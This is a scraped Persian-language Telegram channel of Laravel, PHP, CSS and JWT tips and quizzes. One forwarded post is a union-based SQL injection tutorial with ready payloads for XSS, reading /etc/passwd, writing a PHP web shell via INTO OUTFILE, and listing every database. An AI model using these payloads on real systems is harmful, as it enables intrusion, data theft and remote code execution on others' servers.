Golden Code – Telegram
Golden Code
738 subscribers
53 photos
248 links
نکات laravel, php و...
Download Telegram
یکمی هم طنز بریم😂❤️
😁12💔1
Forwarded from Web Application Security
آسیب پذیری SQL injection =

از اونجایی که هرکسی با مقدمات این آسیب پذیری و اکسپلویتش به روش union رو بلده، خودِ آسیب پذیری رو توضیح نمیدیم و مستقیم میریم سراغ نکاتی که در این آسیب پذیری باید رعایت کنیم.

فرض کنین که با order by تعداد column های وب سایت رو به دست آوردیم و دستور union select ما به این شکله:
app.php?id=-1 union select 1,2,3,4,5,6,7,8,9--

1⃣ تبدیل SQLi به XSS:
بعد از مشاهده ی خروجی دستور union select میتونیم به جای عددهایی که تو خروجی به ما نشون داده میشه، پیلود XSS بزنیم. ولی باید پیلود رو به hex تبدیل کنیم و قبلش 0x رو قرار بدیم. برای مثال پیلود <img/src/onerror=alert(document.domain)> وقتی تبدیل به hex میشه خروجی 3c696d672f7372632f6f6e6572726f723d616c65727428646f63756d656e742e646f6d61696e293e رو داریم. در نهایت پیلود ما به شکل زیر تغییر میکنه با اضافه کردن 0x قبل از مقدار hex.
app.php?id=-1 union select 1,0x3c696d672f7372632f6f6e6572726f723d616c65727428646f63756d656e742e646f6d61696e293e,3,4,5,6,7,8,9--

و XSS اتفاق میفته.

2⃣ خوندن فایل های درون سرور:
با دستور load_file میتونیم در mysql فایل بخونیم.
نکته: برای کار با فایل ها باید privilege لازم رو در دیتابیس و سیستم عامل داشته باشیم.
برای خوندن فایل passwd با SQLi:
app.php?id=-1 union select 1,load_file('/etc/passwd'),3,4,5,6,7,8,9--

3⃣ ساختن و نوشتن فایل درون سرور:
با دستور outfile میتونیم فایل بسازیم با محتوای دلخواه.
app.php?id=-1 union select 1,'hacked' into outfile '/tmp/hacked.txt',3,4,5,6,7,8,9--

نکته: میتونیم کد مخرب رو درون یه فایل php قرار بدیم و RCE بگیریم.
app.php?id=-1 union select 1,'<?php system($_GET['cmd']); ?>' into outfile '/var/www/html/shell.php',3,4,5,6,7,8,9--

واسه کار کردن این پیلود، همون طور که قبلا گفتیم باید دسترسی های لازم رو داشته باشیم. و همچنین باید فایل رو در مسیر وب سرور بسازیم که با مرورگر قابل دسترسی باشه و در آخر تنها باید فایل رو باز کنیم به شکل زیر:
shell.php?cmd=whoami

4⃣ دسترسی به سایر دیتابیس ها:
با استفاده از دستورات زیر داخل select میتونیم یوزر و نام دیتابیس جاری رو به دست بیاریم.
database()
@@database
Version()
@@version

ممکنه یوزر sql ما به دیتابیس های بیشتری دسترسی داشته باشه در صورتی که خیلی وقتا فقط اطلاعات دیتابیس جاری رو dump میگیریم و اصلا سراغ بقیه دیتابیس ها نمیریم.

به دست آوردن لیست همه ی دیتابیس ها:
app.php?id=-1 union select 1,group_concat(schema_name),3,4,5,6,7,8,9 from information_schema.schemata--

بعد از انتخاب دیتابیس مدنظر، مراحل اکسپلویت رو به روش group_concat که در اکسپلویت های عادی هم استفاده میکنیم جلو میبریم با این تفاوت که به جای ()database در پیلود که به دیتابیس جاری اشاره میکند، اسم دیتابیسی که به دست آوردیم رو قرار میدیم.

#SQLi
🔥4👍1👏1
قابلیته aware در لاراول به ما این امکان رو میده که props کامپوننت اصلی رو به کامپوننت‌های فرزند منتقل کنیم!
بدون اینکه نیازی به تعریف دوباره ی اونا داشته باشیم. این ویژگی باعث کمتر شدنه تکرار کد و بهبود ساختار برنامه میشه. با این کار فرزند میتونه به راحتی به اطلاعات ‌والد دسترسی داشته باشه و کدمون تمیزتر خواهد بود.
#laravel
@GoldenCodeir
(به‌منبع و مثالش دقت کنید 👇🏾)
https://x.com/OussamaMater/status/1852091480598368686?s=35
2👍1
Forwarded from Pishro App
سلام بچه ها همونطور که میدونید Scheduler در #لاراول، ابزاری هست که به ما این امکان رو میده تا دستورات و کارها را بدون نیاز به تنظیمات پیچیده بصورت زمان‌بندی‌شده اجرا کنید.


با استفاده از Scheduler، میتونیم کارهایی مثل ارسال ایمیل، پاک‌سازی پایگاه‌داده، انجام عملیات های دوره ای، یا انجام وظایف تکراری را به‌سادگی انجام بدیم.

توی Scheduler لاراول یه متد وجود داره بنام skip، این متد در زمان‌بندی (Scheduler) به ما این امکان رو میده که اجرای یه دستور رو تو شرایط خاصی متوقف کنیم.

در واقع، متد skip یه شرط تعیین میکنه که اگه اون شرط برقرار باشه، اجرای دستور مربوطه در زمان‌بندی به صورت خودکار نادیده گرفته میشه و در آن زمان اجرا نشود

مثلا فرض کنید شما میخواید به کاربرانتون هر روز هفته ایمیل خاصی رو اجرا کنید بجز روز های تعطیل

با این متد می تونید به راحتی بصورت زیر اینکار رو انجام بدین


$schedule->command('emails:send')->daily()->skip(function () {
return Calendar::isHoliday();
});


تو نمونه‌ی بالا شرط skip تعیین کرده که اگه متد Calendar::isHoliday() مقدار true برگرداند (یعنی آن روز، تعطیل باشه)، این دستور اجرا نشود.


#laravel


👾 @pishroapp
Please open Telegram to view this post
VIEW IN TELEGRAM
👍7👏1
در لاراول اگه بخوایم یک Job رو به صف (Queue) ارسال کنیم ،از کدوم متود باید استفاده بشه؟
Final Results
12%
dispatchNow()
32%
queue()
8%
handle()
48%
dispatch()
5🔥1
در لاراول Deferred Providers یعنی یک Service Provider فقط زمانی بارگذاری میشه که نیاز بهش باشه. به این معنی که اگه یک سرویس فقط در مواقع خاصی استفاده بشه، لاراول تا وقتی که به اون سرویس نیاز نباشه اونو بارگذاری نمیکنه !

این کار باعث بهبود performance میشه. برای استفاده ازین ویژگی، کافیه که از یک متود تحت عنوان DeferrableProvider استفاده کنید تا مشخص کنید این Provider فقط وقتی لازم است، فعال بشه.
#laravel
@GoldenCodeir
(به‌منبع و مثالش دقت کنید 👇🏾)
https://x.com/OussamaMater/status/1853545833624449210?t=NJ15b0FWU2ddZxhJJnUGug&s=35
👍8🔥2
Forwarded from Code Module | کد ماژول (genix)
چه الگوریتمی برای ساخت توکن jwt انتخاب کنم؟ 🔒

هنگام پیاده سازی jwt برای اپلیکیشن های خودمون، یکی از تصمیمات کلیدی که باید بگیریم انتخاب الگوریتم امضای مناسب هست. JWT از الگوریتم های مختلفی پشتیبانی میکنه که رایج ترین اون ها HS256 و RS256 هست.

الگوریتم HS256 چیست؟

‏HS256 یک الگوریتم امضای متقارن هست. در رمزنگاری متقارن، هم برای امضا و هم برای تأیید توکن از یک کلید استفاده میشه. این کار اون رو ساده و کارآمد میکنه.

چه زمانی از HS256 استفاده کنیم؟

اگر عملکرد یک نگرانی کلیدی هست و شما در یک محیط قابل اعتماد کار می کنید (جایی که هر دو طرف امضا و تأیید یک راز رو به اشتراک میذارن)، HS256 میتونه انتخاب خوبی باشه. با این حال، از اونجا که امضا و تأیید هر دو به یک کلید متکی هستن، راز باید به طور ایمن محافظت بشه.


الگوریتم ‏RS256 چیست؟

‏RS256، یک الگوریتم امضای نامتقارن هست. برخلاف HS256، از یک جفت کلید استفاده میکنه: یک کلید خصوصی برای امضای توکن و یک کلید عمومی مربوطه برای تأیید اون. این امر RS256 را برای سناریوهایی که طرف‌های امضا و تأیید موجودیت‌های متفاوتی هستن، مانند سیستم‌های توزیع‌شده یا زمانی که توکن‌ها در سرویس‌های مختلف به اشتراک گذاشته میشه، ایمن‌تر میکنه.

چه زمانی از RS256 استفاده کنیم؟

اگر نگرانی اصلی شما امنیت هست، به ویژه در مواردی که چندین سرویس درگیر هستن و اعتبار سنجی توکن در محیط های مختلف اتفاق میوفته، RS256 به شدت توصیه میشه. با RS256، تنها نهادی که کلید خصوصی رو در اختیار داره میتونه توکن‌های معتبر صادر کنه، در حالی که هر کسی که به کلید عمومی دسترسی داره میتونه اون ها رو تأیید کنه.


اما رمزنگاری متقارن و نامتقارن چی هستن؟

رمزنگاری متقارن (به عنوان مثال، HS256) : در الگوریتم های متقارن، کلید مخفی یکسانی هم برای امضا و هم برای تأیید استفاده میشه. این رویکرد ساده و کارآمد هست، اما با خطره به خطر افتادن کلید همراه هست، زیرا هر دو طرف باید به طور ایمن یک کلید را به اشتراک بگذارند و مدیریت کنن.

رمزنگاری نامتقارن (به عنوان مثال، RS256) : در الگوریتم های نامتقارن، از دو کلید مختلف استفاده میشه: یک کلید خصوصی برای امضا و یک کلید عمومی برای تأیید. کلید خصوصی باید امن نگه داشته بشه، در حالی که کلید عمومی می تواند آزادانه توزیع بشه. این روش سطح بالاتری از امنیت رو ارائه میده.


به عنوان مثال من در پروژه خودم از RS256 استفاده کردم و به این صورت میتونید جفت کلید (private,public) رو بسازیم(با استفاده از openssl):

openssl genrsa -out token.prv.key 2048
openssl rsa -in token.prv.key -pubout -out token.pub.key

‏- token.prv.key: کلید خصوصی مورد استفاده برای امضای JWT.
‏- token.pub.key: کلید عمومی مورد استفاده برای تأیید JWT.

برای امضا و تایید این کلید ها میتونیم اینکار انجام بدیم:
// sign token with private key
jwt.sign(payload, prvkey, {
expiresIn: exp,
algorithm: 'RS256',
});

// verify token with public key
jwt.verify(token, pubkey, { algorithms: ['RS256'] })


برخی از best Practices برای ساخت کلید ها :

1. کلید خصوصی خودتون رو پابلیک نکنید: کلید خصوصی شما باید همیشه محرمانه بمونه.

2. استفاده از کلیدهای قوی: هنگام تولید کلیدهای RSA، اندازه کلید حداقل 2048 بیت برای RS256 توصیه میشه.

3. انقضای توکن: همیشه یک زمان انقضا معقول برای توکن‌های خود («exp») تعیین کنین تا خطر استفاده طولانی‌مدت از توکن‌های دزدیده شده رو کاهش بده.

انتخاب بین HS256 و RS256 بستگی به نیازهای خاص پروژه شما داره. اگر برای کارایی و سادگی ارزش قائل هستید و روی امضا و تأیید کنترل دارید، HS256 انتخاب خوبی هست. از طرف دیگه اگر امنیت اولویت بیشتری داره. RS256 گزینه امن‌تری هست.

#jwt
@CodeModule
👍5
در لاراول متود toggle برای تغییر وضعیت یک ویژگی boolean به کار میره و به‌طور خودکار وضعیت رو تغییر میده.

ینی چی؟
مثلاً اگه یک ویژگی مثل "لایک" وجود داشته باشه، این متود وضعیت اونو از "like" به "dislike" یا برعکس تغییر میده،یعنی بدون اینکه نیاز به نوشتن کد اضافی داشته باشیم.

در تصویر زیر تاثیرش بر کوتاه شدنه کد رو به خوبی متوجه میبنید👌🏾
#laravel
@GoldenCodeir
(به‌منبع و مثالش دقت کنید 👇🏾)
https://x.com/OussamaMater/status/1854985544075252021?t=04wuOseETi6fhChi1rBf1w&s=35
👍5🔥2
در لاراول کدوم متود برای ذخیره extra attributes در pivot table برای رابطه ManyToMany استفاده میشه؟؟
Anonymous Quiz
16%
updateExistingPivot()
38%
withPivot()
36%
attach()
9%
sync()
5
با هوش مصنوعی پاسخ سوالاتتون رو خیلی سریعتر پیدا کنید🤖❤️‍🔥

مزیت ها:
- رایگان
- دسترسی به اینترنت (اطلاعات بروز)
- مشاهده پیام های قبلی

معایت:
- تنها عیبی که بنظرم داره، توضیحات طولانی تری میده که البته هدفش راهنمایی جامع هست. اما میتوانید با جمله «توضیحات کوتاه میخوام» بهش دستور بدین تا این مشکل رو هم نداشته باشه

ازش لذت ببرید👍

#هوش_مصنوعی
@GoldenCodeir

https://gemini.google.com
🔥3👍2
پارسا هستم اولین پیامی هست که تو این کانال دارم ارسال میکنم
خواستم یه موضوعی رو بگم که در واقع تجربه چندین ساله منه تو این stack :

من موقع شروع php ورژن 5.6 داشتم کار میکردم که الان تا 8.4 اومده
لاراول اون موقع ورژنش 6 بود فکر کنم
از اون موقعست با لاراول کار کردم تا الان ولی خب موضوعی که هست اینه که و حواستون باید باشه اینه ،
وقتی دارید با لاراول کار میکنید ، در واقع کد نویسی نمیکنید برنامه سازی میکنید ، خیلی فرق دارن این 2 تا کلمه ،
لاراول یه ساختاری ساده ساخته که به راحتی هر نرم افزاری بخوای بنویسی و در واقع واسط چارچوب ساخته و نمیتونی از این چارچوبه در بیای بیرون و ....
در واقع موضوعی که پیش اومده اینه محدود شدیم تو یه ساختار نمیتونیم بیرون بیاییم. و کل دنیای برنامه نویسی ما شده لاراول ، دنیای برنامه نویسی PHP فقط لاراول نیست :)
میکرو فریمورک هایی هم هست که خیلی سرعتشون بالاست
لینک لیست فریم ورک ها اینجاست

لذت ببرید و رتبه لاراول رو هم ببینید به چه حالته ... من حرفی ندارم

من دارم laminas رو یاد میگیرم. که توسط ZEND داره پشتیبانی میشه . و میشه گفت خودت انتخاب میکنی چی باشه و ساختار و skeleton به چه سبکی باشه ...

تقریبا اوایل داشتم برای خودم یه MVC میساختم ولی خب منصرف شدم ...
ولی خب در کل حرف آخرم اینه : سیاست لاراول مثل سیاست ماکروسافته خیلی گستره میره و به نظر من قرار نیست زیاد بالا بالا ها بمونه ....

مشتاقم نظر شما رو هم داخل کامنت ها ببینم 😁😊

@GoldenCodeir

#prs1378
👎115👍1😁1🫡1
Forwarded from Syntax | سینتکس (Daimon)
در برنامه‌نویسی، اصطلاح "Idiomatic" به معنای استفاده از الگوها و روش‌هایی است که در یک زبان برنامه‌نویسی خاص به عنوان استاندارد و رایج شناخته می‌شوند. این موضوع اهمیت زیادی دارد و چندین دلیل برای آن وجود دارد:

1. خوانایی کد: کدی که به صورت idiomatic نوشته شده باشد، برای سایر برنامه‌نویسانی که با آن زبان آشنا هستند، راحت‌تر قابل درک است. این باعث می‌شود که تیم‌ها به راحتی بتوانند با یکدیگر همکاری کنند.

2. نگهداری آسان‌تر: کدی که از الگوهای استاندارد پیروی می‌کند، به راحتی قابل نگهداری و اصلاح است. این امر به‌ویژه در پروژه‌های بزرگتر که افراد مختلفی روی آن کار می‌کنند، بسیار مهم است.

3. عملکرد بهتر: در بسیاری از موارد، استفاده از روش‌های idiomatic به بهبود عملکرد کمک می‌کند، زیرا این روش‌ها اغلب بهترین شیوه‌های بهینه‌سازی شده برای زبان مربوطه هستند.

4. کاهش خطاها: پیروی از الگوهای رایج به کاهش خطاها و باگ‌ها کمک می‌کند، زیرا این الگوها معمولاً توسط جامعه توسعه‌دهندگان آزمایش شده‌اند و مطمئن‌تر هستند.

#idiomatic

@Syntax_fa
👍82🔥1
Forwarded from آموزش لاراول | LaravelHub (rwx-rwx-rwx)
حل مشکل اجرای Apache در xampp
اجرای دستور زیر در CMD (اجرا با دسترسی administrator )

net stop http


🔥⚡️ کانال آموزشی LaravelHub
@LaraveHub
👍7
در لاراول وقتی نیاز به پردازش دیتای سنگین داریم میتونیم از lazy collection استفاده کنیم.

با استفاده از lazy collection درواقع دیتاها فقط زمانی که بهشون نیاز باشه لود میشن، پس بدلیل لود تدریجی سرعت بارگزاری بهتر میشه!
این یعنی برخلاف Collection معمولی که همه‌ی دیتاها رو یک‌جا لود میکنه.
#Laravel
@GoldenCodeir
(به‌منبع و مثالش دقت کنید 👇🏾)
https://x.com/thelarrybarker/status/1855281331770429474?t=W8HppF5MAi6ewngacubEXw&s=35
👍7
در لاراول، اگه بخوایم که یک route رو تنها برای متودهای خاص HTTP مثل GET یا POST محدود کنیم از کدوم متود باید استفاده کنیم؟
Final Results
49%
only()
8%
restrict()
30%
methods()
12%
except()
5👍2
Forwarded from laravel-news
✍️ 4 استاندارد رایج نام‌گذاری در برنامه‌نویسی (Laravel Edition) 🖋
در لاراول، استاندارد نام‌گذاری نقش مهمی در خوانایی و یکپارچگی کدها دارد. بیایید نگاهی به استانداردهای رایج بیندازیم:

اولی => Camel Case
🔹 فرمت: camelCase
🔹 استفاده در: متغیرها و متدها
🔹 مثال: $userProfile, getUserData()

دومی => Snake Case
🔹 فرمت: snake_case
🔹 استفاده در: نام ستون‌ها و جداول پایگاه داده
🔹 مثال: user_id, created_at

سومی => Kebab Case
🔹 فرمت: kebab-case
🔹 استفاده در: نام route‌ها یا فایل‌های CSS و JS
🔹 مثال: user-profile, job-application.js

چهارمی => Pascal Case
🔹 فرمت: PascalCase
🔹 استفاده در: نام کلاس‌ها
🔹 مثال: UserController, JobApplication

🎯 چرا استاندارد نام‌گذاری مهم است؟

خوانایی بالاتر
نگهداری آسان‌تر
کاهش احتمال خطا
8👍4
در لاراول گاهی اوقات نیازه که یک storage disk بطور موقت و در حالت (runtime) بسازیم، مثلاً برای فایل‌های temp یا تست.
این کار بدون نیاز به اعمال تغییرات در فایل config/filesystems.php بصورت زیر و به راحتی قابل انجامه
#laravel
@GoldenCodeir
(به منبع و مثالش دقت کنید👇🏾)
https://x.com/OussamaMater/status/1863686467442065495?s=35
7🔥2
روشی برای به دست آوردن عرض scrollbar بدون استفاده از جاوااسکریپت که احتمالا به کارتون بیاد:

میتونیم عرض scrollbar رو به پیکسل در یک متغیر CSS ذخیره کنیم و ازش در هر قسمته دیگه از کد استفاده کنیم. همچنین میتونیم این مقدار رو بدون واحد و فقط مقدار عددیش رو بدستش بیاریم و نمایش بدیم. این روش باعث میشه کدمون ساده‌تر و برای تغییر راحت‌تر باشه.
#UI
#CSS
@GoldenCodeir
(به منبع و مثالش دقت کنید 👇🏾)
https://x.com/ChallengesCss/status/1857031287682334869?s=19
👍31
یه چیت شیت خوب واسه sql و css
خلاصه که عشق کنید😁

توو منبع اصلیش(لینک اخر) چیت شیتای بیشتری گذاشته، پیشنهاد میکنم بررسی کنین
#css
#sql
@GoldenCodeir

(منبع👇🏾)
https://x.com/swapnakpanda/status/1867820437310218716?s=19
🔥4
در لاراول با دستور زیر میتونیم خیلی راحت فایل‌های مورد نیاز برای یک مدل مدنظر رو ایجاد کنیم :

php artisan make:model Task -a


با اجرای دستور بالا فایل هایی از جمله TaskFactory, tasks_table, TaskSeeder, StoreTaskRequest, TaskController, TaskPolicy برامون ساخته میشه :)
#laravel
@GoldenCodeir
(به منبع و مثالش دقت کنین 👇🏾)
https://x.com/PovilasKorop/status/1868970650922086770?t=JgpOlyrGMx9Z1ZNuwUVLhg&s=35
👍7👏3